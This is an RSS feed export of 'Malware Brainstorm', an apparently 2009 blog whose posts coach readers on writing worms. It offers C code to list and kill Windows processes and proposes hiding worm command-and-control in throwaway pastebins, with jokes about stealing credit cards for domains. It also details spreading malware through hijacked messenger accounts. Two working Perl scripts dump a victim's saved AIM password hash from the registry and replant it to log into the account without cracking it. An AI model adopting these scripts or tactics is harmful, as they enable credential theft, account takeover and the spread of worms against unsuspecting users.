<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Malware Brainstorm</title>
	<atom:link href="http://maldesign.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://maldesign.wordpress.com</link>
	<description>Storming Our Brains</description>
	<lastBuildDate>Sun, 19 Apr 2009 22:53:24 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='maldesign.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://0.gravatar.com/blavatar/87455d1ca6c58d7cd7a83e0d09d5d2b7?s=96&#038;d=http%3A%2F%2Fs2.wp.com%2Fi%2Fbuttonw-com.png</url>
		<title>Malware Brainstorm</title>
		<link>http://maldesign.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://maldesign.wordpress.com/osd.xml" title="Malware Brainstorm" />
	<atom:link rel='hub' href='http://maldesign.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Code: C To Kill A Windows Process</title>
		<link>http://maldesign.wordpress.com/2009/04/19/code-c-to-kill-a-windows-process/</link>
		<comments>http://maldesign.wordpress.com/2009/04/19/code-c-to-kill-a-windows-process/#comments</comments>
		<pubDate>Sun, 19 Apr 2009 22:51:39 +0000</pubDate>
		<dc:creator>Dr. David Davidson</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Local Exploitation]]></category>
		<category><![CDATA[c++]]></category>
		<category><![CDATA[icedane]]></category>
		<category><![CDATA[kill]]></category>
		<category><![CDATA[process]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[windows xp]]></category>

		<guid isPermaLink="false">http://maldesign.wordpress.com/?p=17</guid>
		<description><![CDATA[This code, like this other code also dealing with processes by the same author will kill a Windows Process. #include &#60;stdio.h&#62; #include &#60;windows.h&#62; int main(int argc, char **argv) { if(argc &#60; 2) { printf("\n\nUsage: killprocess [PID]\n\n"); return 0; } DWORD dwPID = atoi(argv[1]); // Open the process with privileges that let us terminate it. HANDLE [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=maldesign.wordpress.com&amp;blog=7314096&amp;post=17&amp;subd=maldesign&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>This code, like <a href="http://maldesign.wordpress.com/2009/04/18/code-c-to-list-all-processes/">this other code also dealing with processes</a> by the same author will kill a Windows Process.<span id="more-17"></span></p>
<p><code><br />
#include &lt;stdio.h&gt;<br />
#include &lt;windows.h&gt;<br />
<br />
int main(int argc, char **argv)<br />
{<br />
if(argc &lt; 2)<br />
{<br />
printf("\n\nUsage: killprocess [PID]\n\n");<br />
<br />
return 0;<br />
}<br />
<br />
DWORD dwPID = atoi(argv[1]);<br />
<br />
// Open the process with privileges that let us terminate it.<br />
<br />
HANDLE pHandle = OpenProcess(PROCESS_TERMINATE, FALSE, dwPID);<br />
<br />
// Poon the process, or try.<br />
if(TerminateProcess(pHandle, 0) != 0)<br />
printf("\n\nProcess terminated successfully.\n\n");<br />
else<br />
printf("\n\nUnable to terminate process.\n\n");<br />
<br />
// Close the handle.<br />
CloseHandle(pHandle);<br />
<br />
return 0;<br />
}</code></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/maldesign.wordpress.com/17/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/maldesign.wordpress.com/17/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/maldesign.wordpress.com/17/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/maldesign.wordpress.com/17/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/maldesign.wordpress.com/17/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/maldesign.wordpress.com/17/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/maldesign.wordpress.com/17/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/maldesign.wordpress.com/17/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/maldesign.wordpress.com/17/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/maldesign.wordpress.com/17/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/maldesign.wordpress.com/17/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/maldesign.wordpress.com/17/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/maldesign.wordpress.com/17/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/maldesign.wordpress.com/17/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=maldesign.wordpress.com&amp;blog=7314096&amp;post=17&amp;subd=maldesign&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://maldesign.wordpress.com/2009/04/19/code-c-to-kill-a-windows-process/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/f281dc79521c6b2486ae0d3f961d038f?s=96&#38;d=monsterid&#38;r=PG" medium="image">
			<media:title type="html">Dr. David Davidson</media:title>
		</media:content>
	</item>
		<item>
		<title>Code: C To List All Processes</title>
		<link>http://maldesign.wordpress.com/2009/04/18/code-c-to-list-all-processes/</link>
		<comments>http://maldesign.wordpress.com/2009/04/18/code-c-to-list-all-processes/#comments</comments>
		<pubDate>Sat, 18 Apr 2009 06:42:35 +0000</pubDate>
		<dc:creator>Dr. David Davidson</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Local Exploitation]]></category>
		<category><![CDATA[c++]]></category>
		<category><![CDATA[list]]></category>
		<category><![CDATA[processes]]></category>
		<category><![CDATA[windows xp]]></category>

		<guid isPermaLink="false">http://maldesign.wordpress.com/?p=16</guid>
		<description><![CDATA[This code was written by a friend of mine, IceDane, and posted online in 2005. Though it was released in 2005, it still works to list all running processes on a Windows XP machine. It is untested on Vista at the time of writing. #include &#60;windows.h&#62; #include &#60;stdio.h&#62; #include &#60;tlhelp32.h&#62; int main(int argc, char **argv) [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=maldesign.wordpress.com&amp;blog=7314096&amp;post=16&amp;subd=maldesign&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>This code was written by a friend of mine, IceDane, and posted online in 2005.  Though it was released in 2005, it still works to list all running processes on a Windows XP machine.  It is untested on Vista at the time of writing.<br />
<span id="more-16"></span><br />
<code>#include &lt;windows.h&gt;<br />
#include &lt;stdio.h&gt;<br />
#include &lt;tlhelp32.h&gt;<br />
<br />
int main(int argc, char **argv)<br />
{<br />
// Handle for the process snap.<br />
HANDLE hProcessSnap;<br />
<br />
// A struct containing info on the process snape.<br />
// This is where we get the name and PID of the process<br />
PROCESSENTRY32 peStruct;<br />
<br />
// Take a snapshot of all processes running.<br />
hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);<br />
<br />
// Let's make sure that the snapshot is valid, and the function didn't fail.<br />
if(hProcessSnap == INVALID_HANDLE_VALUE)<br />
{<br />
printf("\n\nError creating snapshot of processes.\n\n");<br />
<br />
return 0;<br />
}<br />
<br />
// We need to set the size of the struct before we use it.<br />
peStruct.dwSize = sizeof(PROCESSENTRY32);<br />
<br />
// Get info about the first process and make sure it won't F*** up.<br />
if(Process32First(hProcessSnap, &amp;peStruct) == FALSE)<br />
{<br />
printf("\n\nError calling Process32First.\n\n");<br />
<br />
CloseHandle(hProcessSnap);<br />
<br />
return 0;<br />
}<br />
<br />
// Open a file for writing.<br />
FILE *out = fopen("processlisting.txt", "w+");<br />
<br />
// Print the 'title'.<br />
fprintf(out, "%17s - PID\n", "Process name");<br />
fprintf(out, "--------------------------------\n");<br />
<br />
// Loop through the process list, outputting name and PID of each process to the file each turn.<br />
// We use do-while loop to ensure that the first process also gets printed.<br />
do<br />
{<br />
fprintf(out, "%17s - %d\n", peStruct.szExeFile, peStruct.th32ProcessID);<br />
}<br />
while(Process32Next(hProcessSnap, &amp;peStruct));<br />
<br />
// Close file and the handle.<br />
fclose(out);<br />
CloseHandle(hProcessSnap);<br />
<br />
printf("\n\nProcess list stored in processlisting.txt\n\n");<br />
<br />
return 0;<br />
}</code></p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/maldesign.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/maldesign.wordpress.com/16/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/maldesign.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/maldesign.wordpress.com/16/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/maldesign.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/maldesign.wordpress.com/16/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/maldesign.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/maldesign.wordpress.com/16/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/maldesign.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/maldesign.wordpress.com/16/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/maldesign.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/maldesign.wordpress.com/16/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/maldesign.wordpress.com/16/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/maldesign.wordpress.com/16/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=maldesign.wordpress.com&amp;blog=7314096&amp;post=16&amp;subd=maldesign&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://maldesign.wordpress.com/2009/04/18/code-c-to-list-all-processes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/f281dc79521c6b2486ae0d3f961d038f?s=96&#38;d=monsterid&#38;r=PG" medium="image">
			<media:title type="html">Dr. David Davidson</media:title>
		</media:content>
	</item>
		<item>
		<title>Update Techniques: Poor Man&#8217;s URL Generation</title>
		<link>http://maldesign.wordpress.com/2009/04/17/update-techniques-poor-mans-url-generation/</link>
		<comments>http://maldesign.wordpress.com/2009/04/17/update-techniques-poor-mans-url-generation/#comments</comments>
		<pubDate>Fri, 17 Apr 2009 06:57:31 +0000</pubDate>
		<dc:creator>Dr. David Davidson</dc:creator>
				<category><![CDATA[Updating and Evolving]]></category>
		<category><![CDATA[Worms]]></category>
		<category><![CDATA[conficker]]></category>
		<category><![CDATA[pastebin]]></category>
		<category><![CDATA[payload]]></category>
		<category><![CDATA[poor man]]></category>
		<category><![CDATA[update]]></category>
		<category><![CDATA[url generation]]></category>

		<guid isPermaLink="false">http://maldesign.wordpress.com/?p=91</guid>
		<description><![CDATA[My first article on URL Generation for worm updates quickly became my most popular article (until being exceeded by an analysis of Conficker). I&#8217;ve been thinking on the concepts of URL generation, and I believe I&#8217;ve come up with a similar method that will work just as well, if not better. URL Generation is the [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=maldesign.wordpress.com&amp;blog=7314096&amp;post=91&amp;subd=maldesign&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>My first article on <a href="http://maldesign.wordpress.com/2009/04/11/update-techniques-url-generation/">URL Generation</a> for worm updates quickly became my most popular article (until being exceeded by an <a href="http://maldesign.wordpress.com/2009/04/13/analysis-conficker-can-take-over-the-world/">analysis of Conficker)</a>.  I&#8217;ve been thinking on the concepts of URL generation, and I believe I&#8217;ve come up with a similar method that will work just as well, if not better.<br />
<span id="more-91"></span><br />
URL Generation is the process of doing just that &#8212; generating URLs.  The concept was brought up while analyzing Conficker: the worm generates 250 pseudorandom URLs per day (10,000 per day in one variant) and attempts to connect to them to upload stats on newly infected computers and to download new instructions and payloads.  </p>
<p>Now, one problem in this is tracking.  Unless you steal a credit card of a stranger far away, drive down to another state/province, steal some wireless, proxy up, and purchase a domain name, there&#8217;s a possibility that you could be tracked down as the purchaser.  Sure, you can hide your name in a whois, but the company still has your information.  When the algorithm for generating URLs is compromised and released to malware analytics, you also have to worry about the company monitoring expected domains (See: <a href="http://en.wikipedia.org/wiki/Honeypot_(computing)">Honeypots</a>).</p>
<p>What I propose is this: <a href="http://en.wikipedia.org/wiki/Pastebin">pastebins</a>.  </p>
<p>Yes, pastebins.  Pastebins are free, effective, anonymous, and can be private.  There are many pastebins out there to choose from, and certain ones allow for &#8220;your own pastebin,&#8221; such as <a href="http://www.pastebin.com">pastebin.com</a>.  Simply by prefixing the URL with a unique name, you can paste code without having it show anywhere else on the site.  For example, if my name were Abraham Lincoln and I were an avid coder, I might paste my leet perl scripts to <a href="http://abrahamlincoln.pastebin.com">http://abrahamlincoln.pastebin.com</a>.</p>
<p>Now you can probably see where I&#8217;m going with this.  The usual way of URL generation generates a predetermined amount of URLs per day (based off the day, so they&#8217;re predictable and different each day, but the same for each time it&#8217;s run on the same day for anyone running the program.)  A program might generate the URLs lksdjgsdg.com, kljsdgsdg.info, asfgkajgsg.com, alksgjagsg.org, sdjfhsdjkg.net, fklsdjfsddsf.org, sdflkjsdf.com, and sdfsdfuhfsd.com for a single day.  The next day, the URLs would be completely different.  They need to be predictable so the author of the malware can plan ahead and purchase and prepare a domain name before a bunch of infected computers call home to get instructions.  The fact that there are so many URLs is a form of <a href="http://en.wikipedia.org/wiki/Security_through_obscurity">security through obscurity</a> &#8211; in that someone trying to stop, analyze or fight the worm won&#8217;t know which URL the script will be getting instructions from.  It&#8217;s just whatever domain is up and able to identify with the worm at the time.</p>
<p>My approach, for the poor man.  And by poor man, I mean either a man who isn&#8217;t willing to steal a credit card (hey, why not add more charges on top of your malware ones?) or a man who is too poor to purchase a domain (you&#8217;ll be rich soon enough!).  Instead of generating URLs like the ones above, the Poor Man&#8217;s URL Generation will generate random strings, such as gksljdgsdg, sdgkljsdgsd, skdjgsdlkg, sdgksjdgsdg, sdgkljsdg, sdgkjsdglkjd, and sdlkgjsdglkjd.  </p>
<p>The malware author will be required to upload an encrypted payload to an expected private pastebin, such as gksljdgsdg.pastebin.com shortly before all the infected computers call home to there to decrypt and deal with their new instructions and/or payload.  Afterwards, the author has the ability to remove the paste, making it look like nothing was ever there.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/maldesign.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/maldesign.wordpress.com/91/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/maldesign.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/maldesign.wordpress.com/91/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/maldesign.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/maldesign.wordpress.com/91/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/maldesign.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/maldesign.wordpress.com/91/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/maldesign.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/maldesign.wordpress.com/91/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/maldesign.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/maldesign.wordpress.com/91/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/maldesign.wordpress.com/91/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/maldesign.wordpress.com/91/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=maldesign.wordpress.com&amp;blog=7314096&amp;post=91&amp;subd=maldesign&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://maldesign.wordpress.com/2009/04/17/update-techniques-poor-mans-url-generation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/f281dc79521c6b2486ae0d3f961d038f?s=96&#38;d=monsterid&#38;r=PG" medium="image">
			<media:title type="html">Dr. David Davidson</media:title>
		</media:content>
	</item>
		<item>
		<title>Spreading Techniques: Hijacked Messenger Services</title>
		<link>http://maldesign.wordpress.com/2009/04/16/spreading-techniques-hijacked-messenger-services/</link>
		<comments>http://maldesign.wordpress.com/2009/04/16/spreading-techniques-hijacked-messenger-services/#comments</comments>
		<pubDate>Thu, 16 Apr 2009 18:58:17 +0000</pubDate>
		<dc:creator>Dr. David Davidson</dc:creator>
				<category><![CDATA[Spreading]]></category>
		<category><![CDATA[Worms]]></category>
		<category><![CDATA[aim]]></category>
		<category><![CDATA[contacts]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[hijack]]></category>
		<category><![CDATA[messenger]]></category>
		<category><![CDATA[msn]]></category>
		<category><![CDATA[spam]]></category>
		<category><![CDATA[Worm]]></category>
		<category><![CDATA[yahoo]]></category>

		<guid isPermaLink="false">http://maldesign.wordpress.com/?p=86</guid>
		<description><![CDATA[Now that you&#8217;ve seen how easy it is for a worm to steal passwords for the popular messenger protocols, I&#8217;ll talk a bit about how to use them. If you use MSN, AIM, or Yahoo, chances are you&#8217;ve seen the spambots. Chances are you&#8217;ve also seen the viruses spread through. It&#8217;s a very effective way [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=maldesign.wordpress.com&amp;blog=7314096&amp;post=86&amp;subd=maldesign&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Now that you&#8217;ve seen how easy it is for a worm to <a href="http://maldesign.wordpress.com/2009/04/14/local-exploitation-extracting-gaimpidgin-passwords/">steal passwords</a> for the popular messenger protocols, I&#8217;ll talk a bit about how to use them.  If you use MSN, AIM, or Yahoo, chances are you&#8217;ve seen the spambots.  Chances are you&#8217;ve also seen the viruses spread through.  It&#8217;s a very effective way of spreading for popular worms such as Kirvo and Bagle.<br />
<span id="more-86"></span><br />
Note: For the purpose of this article, I will be talking specifically about MSN.  However, this information applies to all messengers.</p>
<p>Spreading through MSN plays on <em>trust</em> and <em>ignorance</em>.  A potential victim will be much more likely to click on a link or accept a file sent to them over MSN than they would click a link or attachment in an email from someone they don&#8217;t know.  When they realize the person who sent them the file is not who they think they are, it&#8217;s already too late.  </p>
<p>Common worms spread by two main subjects: laughter and sex.  Phrases such as &#8220;<a href="http://www.keshzone.com/2007/06/virus-spread-through-msn-messenger.html">Hey LOL I’ve done a new photo album! Might be a few nudes LOL</a>,&#8221; &#8220;I took a new picture for you,&#8221; &#8220;HAHA you have to see this LOL,&#8221; or something similar.  However, other phrases that don&#8217;t fit into my categories are also used, such as &#8220;My friend took nice picture of you.&#8221;  If someone took a picture of you, wouldn&#8217;t you want to see it?  ;)</p>
<p>One technique the very popular <a href="http://en.wikipedia.org/wiki/Bagle_(computer_worm)">Bagle</a> (also called Beagle) utilizes is email.  Not just normal email; commonly malware that spreads through email will have a list of emails downloaded or bought to send mass emails to.  Bagle, on the other hand, steals your messenger password, logs in, retrieves the email addresses of all your friends, and sends them emails.  To make it more believable for them, Bagle <a href="http://www.governmentsecurity.org/spoof_email">spoofs the From: field</a> to the email found on the messenger service.  </p>
<p>This <a href="http://www.msnbc.msn.com/id/5652313/">nifty article</a> talks about another trick Bagle uses.</p>
<blockquote><p>Another trick the virus is using to fool users, Friedrichs said, is to keep the size of the initial e-mail small. When a recipient is tricked into clicking on the attachment, only a small portion of the malicious code is installed on the victim&#8217;s machine. The rest is then downloaded from one of dozens of Web sites located around the world.</p></blockquote>
<p>Now, the above might seem trivial at first, but if you think about it, it&#8217;s staying under the radar this way.  The small code downloaded has a sole function of getting the rest of the code and piecing it together (similarly to <a href="http://maldesign.wordpress.com/2009/04/11/spreading-techniques-bluetooth-and-payload-splitting/">what I proposed doing with Bluetooth</a>).  More and more email providers have built-in virus scanners now, and sending a full virus through email isn&#8217;t the easiest thing to do.  Not only does this method make it much easier, but also has a much lower detection rate by Antiviruses.</p>
<p>One more thing to note is blocking.  If your MSN was hijacked and your friends started complaining to you about you sending viruses to them, you would most likely change your name to something like, &#8220;Don&#8217;t click anything I send you&#8221; and log off &#8212; right?  Well, first of all, that wouldn&#8217;t help.  The malware has your password, they can log in and out as they please.</p>
<p>Second of all, your friends won&#8217;t be complaining if the malware is effective.  The greater worms that spread through MSN lock your name, and block contacts that have been sent a payload.  This keeps them from talking back, asking, &#8220;Is this legit?&#8221;  Curiosity will kill most of them.  If a user is detected to be trying to stop the worm in some way, warning friends and similar actions, the virus may just lock them out of their MSN altogether.  </p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/maldesign.wordpress.com/86/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/maldesign.wordpress.com/86/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/maldesign.wordpress.com/86/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/maldesign.wordpress.com/86/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/maldesign.wordpress.com/86/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/maldesign.wordpress.com/86/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/maldesign.wordpress.com/86/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/maldesign.wordpress.com/86/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/maldesign.wordpress.com/86/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/maldesign.wordpress.com/86/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/maldesign.wordpress.com/86/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/maldesign.wordpress.com/86/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/maldesign.wordpress.com/86/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/maldesign.wordpress.com/86/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=maldesign.wordpress.com&amp;blog=7314096&amp;post=86&amp;subd=maldesign&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://maldesign.wordpress.com/2009/04/16/spreading-techniques-hijacked-messenger-services/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/f281dc79521c6b2486ae0d3f961d038f?s=96&#38;d=monsterid&#38;r=PG" medium="image">
			<media:title type="html">Dr. David Davidson</media:title>
		</media:content>
	</item>
		<item>
		<title>Local Exploitation: Extracting and Using AIM Passwords</title>
		<link>http://maldesign.wordpress.com/2009/04/15/local-exploitation-extracting-and-using-aim-passwords/</link>
		<comments>http://maldesign.wordpress.com/2009/04/15/local-exploitation-extracting-and-using-aim-passwords/#comments</comments>
		<pubDate>Wed, 15 Apr 2009 17:52:51 +0000</pubDate>
		<dc:creator>Dr. David Davidson</dc:creator>
				<category><![CDATA[Code]]></category>
		<category><![CDATA[Local Exploitation]]></category>
		<category><![CDATA[Worms]]></category>
		<category><![CDATA[aim]]></category>
		<category><![CDATA[aol]]></category>
		<category><![CDATA[extract]]></category>
		<category><![CDATA[hash]]></category>
		<category><![CDATA[log in]]></category>
		<category><![CDATA[messenger]]></category>
		<category><![CDATA[passwords]]></category>
		<category><![CDATA[spread]]></category>

		<guid isPermaLink="false">http://maldesign.wordpress.com/?p=20</guid>
		<description><![CDATA[Like my article on extracting Pidgin passwords, this article also deals with extracting passwords from a messenger protocol: AIM. As I mentioned in my article on spreading worm payloads with Bluetooth, one of the most important qualities to pay attention to when coding a worm is how well it can spread. A very common and [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=maldesign.wordpress.com&amp;blog=7314096&amp;post=20&amp;subd=maldesign&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Like my article on <a href="http://maldesign.wordpress.com/2009/04/14/local-exploitation-extracting-gaimpidgin-passwords/">extracting Pidgin passwords</a>, this article also deals with extracting passwords from a messenger protocol: <a href="http://dashboard.aim.com/aim">AIM</a>.  As I mentioned in my <a href="http://maldesign.wordpress.com/2009/04/11/spreading-techniques-bluetooth-and-payload-splitting/">article on spreading worm payloads with Bluetooth</a>, one of the most important qualities to pay attention to when coding a worm is how well it can spread.  A very common and effective way to spread?  Hijacking messengers and sending links and files to all contacts of the victims.<br />
<span id="more-20"></span><br />
AIM (AOL Instant Messenger) has the option to save your password when you log in so you don&#8217;t need to type it in each time you start the program.  Do you know what that means?  It means it&#8217;s saved on your computer <em>somewhere</em> &#8211; possibly hashed and/or encrypted.  It just so happens it&#8217;s saved as an <a href="http://en.wikipedia.org/wiki/MD5">MD5 hash</a> in the <a href="http://en.wikipedia.org/wiki/Windows_Registry">registry</a>.</p>
<p>Luckily, however, a friend of mine wrote the following script for extracting the hash for you:</p>
<p><code>#!/usr/bin/perl -w<br />
use strict;<br />
use warnings;<br />
use Win32::TieRegistry;<br />
</code><code><br />
print "Enter users AIM name: ";<br />
my $aimname = ;<br />
chomp($aimname);<br />
</code><code><br />
$Registry-&gt;Delimiter("/");<br />
my $hashloc = $Registry-&gt;{"HKEY_CURRENT_USER/Software/America Online/AOL Instant Messenger (TM)/CurrentVersion/Users/$aimname/Login/"};<br />
my $password = $hashloc-&gt;GetValue("Password1");<br />
open(AIMHASH, "&gt;aimhash.txt") || die "Cant write to file";<br />
print AIMHASH "$password";<br />
close(AIMHASH);<br />
undef $hashloc;<br />
</code><code><br />
print "md5 Hash Successfully Dumped\n";<br />
print "Want to crack it? Get a rainbowtable Http://www.rainbowtables.net\n";</code></p>
<p>And&#8230; you know what?  Readers of <a href="http://maldesign.wordpress.com/">Malware Brainstorm</a> are further in luck.  Here&#8217;s another script, by the same author, that places the AIM hash in your registry with their name, so your AIM Messenger thinks <em>you</em> have those credentials &#8220;remembered&#8221; so you wouldn&#8217;t have to type them in every time!  In other words, it logs you in to the account you extract the hash from without having to crack the hash.</p>
<p><code>#!/usr/bin/perl -w<br />
use strict;<br />
use warnings;<br />
use Win32::TieRegistry;<br />
</code><code><br />
print "Name to add:  ";<br />
my $aimname = ;<br />
chomp($aimname);<br />
</code><code><br />
print "Password Hash: ";<br />
my $hash = ;<br />
chomp($hash);<br />
</code><code><br />
$Registry-&gt;Delimiter("/");<br />
my $location = $Registry-&gt;{"HKEY_CURRENT_USER/Software/America Online/AOL Instant Messenger (TM)/CurrentVersion/Users/"};<br />
$location-&gt;SetValue("$aimname", "$aimname", "REG_SZ");<br />
my $SN = $location-&gt;CreateKey( "$aimname/Login" );<br />
</code><code><br />
$SN-&gt;SetValue("Password1", "$hash", "REG_SZ");</code></p>
<p>Please note, you will need access to a Perl interpreter if you wish to run these programs.  For Linux, the interpreter should come pre-installed (if not, I imagine you know how to get one if you&#8217;re on Linux.)  If you&#8217;re on Windows, I recommend <a href="http://www.activestate.com/activeperl/">ActivePerl</a>.</p>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/maldesign.wordpress.com/20/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/maldesign.wordpress.com/20/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/maldesign.wordpress.com/20/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/maldesign.wordpress.com/20/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/maldesign.wordpress.com/20/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/maldesign.wordpress.com/20/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/maldesign.wordpress.com/20/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/maldesign.wordpress.com/20/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/maldesign.wordpress.com/20/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/maldesign.wordpress.com/20/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/maldesign.wordpress.com/20/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/maldesign.wordpress.com/20/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/maldesign.wordpress.com/20/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/maldesign.wordpress.com/20/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=maldesign.wordpress.com&amp;blog=7314096&amp;post=20&amp;subd=maldesign&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
